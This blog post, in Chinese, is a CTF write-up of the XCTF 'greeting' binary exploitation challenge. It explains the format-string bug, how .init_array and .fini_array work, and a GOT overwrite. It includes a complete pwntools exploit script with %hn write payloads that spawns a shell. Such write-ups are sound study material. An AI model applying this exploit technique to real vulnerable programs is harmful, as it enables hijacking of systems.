XCTF-CHALLENGE-greeting_150

昨天好不容易装上pwndbg,总是因为最后./setup时报错,说python3.6找不到命令,在网上找了很多教程都没用,最后把了解到pwndbg相当于一个加强版的gdb,然后我就把gdb删了就顺利装上了😭
废话少说,回到题目~~

checksec

hunter@hunter:~/PWN/XCTF/xctf_challenge$ checksec greeting
[*] '/home/hunter/PWN/XCTF/xctf_challenge/greeting'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

开启NX和Canary

IDA

int __cdecl main(int argc, const char **argv, const char **envp)
{
  char s; // [esp+1Ch] [ebp-84h]
  char v5; // [esp+5Ch] [ebp-44h]
  unsigned int v6; // [esp+9Ch] [ebp-4h]

  v6 = __readgsdword(0x14u);
  printf("Please tell me your name... ");
  if ( !getnline(&v5, 64) )
    return puts("Don't ignore me ;( ");
  sprintf(&s, "Nice to meet you, %s :)\n", &v5);
  return printf(&s);
}

getline():
size_t __cdecl getnline(char *s, int n)
{
  char *v3; // [esp+1Ch] [ebp-Ch]

  fgets(s, n, stdin);
  v3 = strchr(s, 10);
  if ( v3 )
    *v3 = 0;
  return strlen(s);
}

nao():
int nao()
{
  setbuf(stdin, 0);
  setbuf(stdout, 0);
  return system("echo \"Hello, I'm nao\"!");
}

关键函数:

  • getline就是DIY了一个读取函数,一直到换行符结束(0xa==10)读取,并最后将换行符换做截至符\x00
  • nao函数,明显是一个hint,调用system函数输出:Hello, I’m nao
  • 最后printf存在fmt漏洞

分析

我们来看看程序执行情况:

hunter@hunter:~/PWN/XCTF/xctf_challenge$ ./greeting 
Hello, I'm nao!
Please tell me your name... AAAA
Nice to meet you, AAAA :)

结合IDA主函数分析,按理不应该出现:Hello, I’m nao! 在main函数中并没有调用nao函数的地方。

利用IDA查看交叉引用的功能:

继续进入查看:

text:08048708 loc_8048708:                            ; CODE XREF: __libc_csu_init+57↓j
.text:08048708                 mov     eax, [esp+2Ch+arg_8]
.text:0804870C                 mov     [esp+2Ch+var_2C], ebp
.text:0804870F                 mov     [esp+2Ch+var_24], eax
.text:08048713                 mov     eax, [esp+2Ch+arg_4]
.text:08048717                 mov     [esp+2Ch+var_28], eax
.text:0804871B                 call    ds:(__frame_dummy_init_array_entry - 8049A28h)[ebx+edi*4]   <====此处调用
.text:08048722                 add     edi, 1
.text:08048725                 cmp     edi, esi
.text:08048727                 jnz     short loc_8048708
.text:08048729

继续进入:
.init_array:0804992C __frame_dummy_init_array_entry dd offset frame_dummy
.init_array:0804992C                                         ; DATA XREF: LOAD:0804809C↑o
.init_array:0804992C                                         ; __libc_csu_init+23↑o ...
.init_array:0804992C                                         ; Alternative name is '__init_array_start'
.init_array:08049930                 dd offset nao
.init_array:08049930 _init_array     ends

也就是说nao函数先是由libc_csu_init执行到call ds:(frame_dummy_init_array_entry - 8049A28h)[ebx+edi*4],然后在此地址上存放了nao函数的偏移,由此进行调用。

新姿势

我们在用gdb调试的时候,执行完程序不难发现程序会ret到libc_start_main,所以main函数并不是程序真正开始的地方。程序会先进一些初始化函数如libc_start_main才会调用main函数。
然而在调用初始化函数之前会先调用_start,而_start就是程序真正的入口(Enter Point)

初始化函数libc_csu_init是比较常见的,就是在这里上面的程序调用nao函数。
那么有初始话函数也就会有对应的末“始”化函数:
libc_csu_fini。他们就像俩兄弟一样,很像

在程序中存在一种很神秘的段,其名为.init_array,此物存有函数指针,在进行libc_csu_init函数时,将会调用每一个指针。相似的,在程序中存在.fini_array段,也存放函数指针,在进行libc_csu_fini函数时便会调用每一个指针。这两处都是可写的 ,那么可以干坏事了(doge)

这里存放的都是香喷喷的指针

.init_array:0804992C ; ELF Initialization Function Table
.init_array:0804992C ; ===========================================================================
.init_array:0804992C
.init_array:0804992C ; Segment type: Pure data
.init_array:0804992C ; Segment permissions: Read/Write
.init_array:0804992C _init_array     segment dword public 'DATA' use32
.init_array:0804992C                 assume cs:_init_array
.init_array:0804992C                 ;org 804992Ch
.init_array:0804992C __frame_dummy_init_array_entry dd offset frame_dummy
.init_array:0804992C                                         ; DATA XREF: LOAD:0804809C↑o
.init_array:0804992C                                         ; __libc_csu_init+23↑o ...
.init_array:0804992C                                         ; Alternative name is '__init_array_start'
.init_array:08049930                 dd offset nao
.init_array:08049930 _init_array     ends
.init_array:08049930
.fini_array:08049934 ; ELF Termination Function Table
.fini_array:08049934 ; ===========================================================================
.fini_array:08049934
.fini_array:08049934 ; Segment type: Pure data
.fini_array:08049934 ; Segment permissions: Read/Write
.fini_array:08049934 _fini_array     segment dword public 'DATA' use32
.fini_array:08049934                 assume cs:_fini_array
.fini_array:08049934                 ;org 8049934h
.fini_array:08049934 __do_global_dtors_aux_fini_array_entry dd offset __do_global_dtors_aux
.fini_array:08049934                                         ; DATA XREF: __libc_csu_init+18↑o
.fini_array:08049934 _fini_array     ends                    ; Alternative name is '__init_array_end'
.fini_array:08049934

利用点

  • 存在fmt漏洞并且没有开启RELRO,可以对got表进行覆盖
  • 有system函数,没有/bin/sh字符串,那么势必要进行两次输入,执行程序两次
  • fini_array可以覆盖,控制程序流程
  • payload最长46个字节

思路

  • 构造payload将strlen的got表覆盖为system_plt
  • 覆盖.fini_array的一处指针为start地址
  • 读入/bin/sh直接获取shell

实现

因为payload长度有限制,所以不太适合用fmtstr_payload模块,必须自己精心构造
查看fini_array 0x08049934 处的指针:

.fini_array:08049934 __do_global_dtors_aux_fini_array_entry dd offset __do_global_dtors_aux

__do_global_dtors_aux:
.text:080485A0 __do_global_dtors_aux proc near         ; DATA XREF: .fini_array:__do_global_dtors_aux_fini_array_entry↓o
.text:080485A0                 cmp     ds:completed_6591, 0
.text:080485A7                 jnz     short locret_80485BC
.text:080485A9                 push    ebp
.text:080485AA                 mov     ebp, esp
.text:080485AC                 sub     esp, 8
.text:080485AF                 call    deregister_tm_clones
.text:080485B4                 mov     ds:completed_6591, 1
.text:080485BB                 leave

所以指针的值为080485A0 ,用gdb查看更为直观

pwndbg> x/10x 0x08049934   <======fini_array
0x8049934:    0x080485a0    0x00000000    0x00000001    0x00000001
0x8049944:    0x0000000c    0x08048404    0x0000000d    0x08048780
0x8049954:    0x00000019    0x0804992c
pwndbg> x/10x 0x080485a0
0x80485a0 <__do_global_dtors_aux>:    0x9aa43d80    0x75000804    0xe5895513    0xe808ec83
0x80485b0 <__do_global_dtors_aux+16>:    0xffffff7c    0x9aa405c6    0xc9010804    0x9066c3f3
0x80485c0 <frame_dummy>:    0x049938a1    0x74c08508
pwndbg> x/10i 0x080485a0
   0x80485a0 <__do_global_dtors_aux>:    cmp    BYTE PTR ds:0x8049aa4,0x0
   0x80485a7 <__do_global_dtors_aux+7>:    jne    0x80485bc <__do_global_dtors_aux+28>
   0x80485a9 <__do_global_dtors_aux+9>:    push   ebp

所以我们需要的地址如下:

fini_array = 0x08049934  ===>0x080485A0 
system_plt = 0x08048490
strlen_got = 0x08049A54  ====>strlen_addr
start =      0x080484F0 

发现0x080485A0 地址和start地址只有最后两字节不同所以要打印的字符串最少(%n),然后就是向strlen_got中覆盖system_plt。
如果直接把0x08048490一次全部覆盖那么要打印:128MB的大小

In [20]: 0x08048490
Out[20]: 134513808

In [21]: 134513808/1024
Out[21]: 131361

In [22]: 131361/1024
Out[22]: 128

如果我们所有的试验都是在本机/虚拟机和docker之间进行,不会受到网络环境的影响。而在实际的比赛和漏洞利用环境中,一次性传输如此大量的数据可能会导致网络卡顿甚至中断连接。所以不能这么暴力,所以说还是得精心构造~~,要使打印的数据尽量少。
所以我们覆盖那些覆盖量少的地址,这样就能有效减少打印数据量。
那么应该是先让把fini_array 里面的地址覆盖为start,两个字节(hn).然后也分两个字节(hn)覆盖strlen_got里面的地址(strlen_addr)。注意这是小端序即高地址存放高字节数据,低地址存放低字节数据

举例:
var = 0x11223344,对于这个变量的最高字节为0x11,最低字节为0x44
(1)大端模式存储(存储地址为16位)
地址                    数据
0x0004(高地址)     0x44
0x0003                 0x33
0x0002                 0x22
0x0001(低地址)     0x11

(2)小端模式存储(存储地址为16位)
地址                    数据
0x0004(高地址)     0x11
0x0003                 0x22
0x0002                 0x33
0x0001(低地址)     0x44

差点忘了测偏移量了~~

hunter@hunter:~/PWN/XCTF/xctf_challenge$ ./greeting 
Hello, I'm nao!
Please tell me your name... AABB.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p.%p
Nice to meet you, AABB.0x80487d0.0xff91489c.(nil).(nil).(nil).(nil).0x6563694e.0x206f7420.0x7465656d.0x756f7920.0x4141202c.0x252e4242.0x70252e70.0x2e70252e.0x252e7025 :)

AA的ASCII的偏移为11,BB的ASCII的偏移为12,两者分开了,应该存入时栈没有对齐。
也可以在IDA伪码中算出偏移:
因为printf的s===>esp+0x1c. sprintf(&s, “Nice to meet you, %s :)\n”, &v5);函数使得我们的输入(v5)距离s为18.所以0x1c-0x4+18==42 42/4 = 10.2这也是为啥上面AABB分开的原因,我们可以先用两个padding对齐,然后在存入关键数据。

EXP

from pwn import*
context.log_level = 'debug'

sh = process('./greeting')
#sh = remote('220.249.52.133',41988)
sh.recv()

fini_array = 0x08049934
system_plt = 0x08048490
strlen_got = 0x08049A54
start =      0x080484F0 
payload = 'AA'   #用来对齐的padding
payload += p32(strlen_got+2) #12   //从低地址覆盖到高地址,两个字节。覆盖量:0x0804
payload += p32(strlen_got)  #13    //覆盖量:0x8490
payload += p32(fini_array)  #14  //覆盖量:0x84F0 

payload += '%2020c%12$hn%31884c%13$hn%96c%14$hn'    #用hn就是让printf函数向目标地址最多写满两个字节,还有别忘了前面的输出也算上
gdb.attach(sh)                                      ##补充,%hhn写1字节,%lln写8字节。
sh.sendline(payload)
sh.recv()

sh.sendline('/bin/sh')

sh.interactive()

结果

Hello, I'm nao!
Please tell me your name... $ /bin/sh
[DEBUG] Sent 0x8 bytes:
    '/bin/sh\n'
$ whoami
[DEBUG] Sent 0x7 bytes:
    'whoami\n'
[DEBUG] Received 0x7 bytes:
    'hunter\n'
hunter
$  

MASS

为啥不用fmt漏洞覆盖plt表,而时偏要覆盖got表?
因为plt存放的时指令,got表才是存放地址。比如把plt这里的jmp数据给覆盖成目标地址,那也没法跳转啊

pwndbg> x/10i 0x80484c0
   0x80484c0 <strlen@plt>:    jmp    DWORD PTR ds:0x8049a54   <=======got表
   0x80484c6 <strlen@plt+6>:    push   0x40
   0x80484cb <strlen@plt+11>:    jmp    0x8048430

第一次执行strlen以后,这里就是存放真实地址,而且有plt来帮忙跳转,把这里的地址覆盖了岂不美哉(doge)
pwndbg> x/10x 0x8049a54
0x8049a54 <strlen@got.plt>:    0xf7dea900    0xf7d7dd90    0x080484e6    0x00000000
0x8049a64:    0x00000000    0x00000000    0x00000000    0x00000000

在这个got表存放了system_plt后就会跳到system_plt去执行。应该换成system_got也没问题。

参考资料:https://www.hacksec.cn/Penetration-test/1137.html
https://bbs.ichunqiu.com/thread-43624-1-1.html


  转载请注明: Squarer XCTF-CHALLENGE-greeting_150

 上一篇
Heap--初探--基本漏洞 Heap--初探--基本漏洞
First fit规则在malloc一个chunk时,先在bins中寻找能满足用户需求大小的chunk,也就是大于等于用户需求的大小然后返回,而不是一直遍历到完全符合的chunk。比如说在unsortedbin中,找到了一个大于用户申请的c
2020-09-09
下一篇 
XCTF-CHALLENGE-PWN-200 XCTF-CHALLENGE-PWN-200
checksechunter@hunter:~/PWN/XCTF/xctf_challenge$ checksec pwn-200 [*] '/home/hunter/PWN/XCTF/xctf_challenge/pwn-200'
2020-09-02
  目录